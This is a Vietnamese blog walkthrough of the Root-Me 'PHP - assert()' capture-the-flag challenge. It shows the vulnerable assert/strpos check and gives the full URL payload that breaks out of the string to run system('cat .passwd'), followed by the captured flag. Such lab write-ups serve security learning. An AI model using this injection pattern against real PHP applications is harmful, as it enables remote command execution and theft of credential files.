Php - assert() root me

Skip to content

Php - assert() root me

Hé lô, come back với bài khởi động buổi sáng. Assert() , Đây là hàm kiểm tra logic. Vô bài nào, interface khá quen thuộc 🙂

Php - assert() root me

Nhìn các param trên URL kích thích như mọi lần, như thói quen, inject code LFI, RFI các kiểu !!!

Php - assert() root me

Hú hu , Assert và Strpos . Nhưng có một điều khá thú zị là bạn có thể control input theo ý muốn và repair code. Đoạn code prevent cho lỗi trên có thể là:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

Có thể control trực tiếp vào code thì còn khó khăn gì nữa, quan trọng là bạn muốn nó như nào thôi. Theo đề thì cần read file .passwd, thì ắc hẵn mình cứ system(‘cat .passwd’) là hết xảy con bà 7.

Đoạn code malicious như sau:

http://challenge01.root-me.org/web-serveur/ch47/?page=’,”) or system(‘cat .passwd’) ; //

Để mình giải thích thêm nhé !!!

BEFORE:assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);
AFTER:  assert(“strpos(‘$file‘,”) or system(‘cat .passwd’) ;//‘, ‘..’) === false”) or die(“Detected hacking attempt!”);

Đoạn code mình change màu chính là đoạn malicious mình inject vào . Mình thêm // vào để comment cho đoạn sau và không cần care nó nữa . Và điều gì đến cũng đến …

Php - assert() root me

FLAG : {TRY_HARD_DON’T_COPY_PASTE}

Mình viết ngẫu hứng , không giỏi viết lách nên đừng bắt bẻ mình vụ câu cú các kiểu nhé . SAM THA MI TA ❤

Php - assert() root me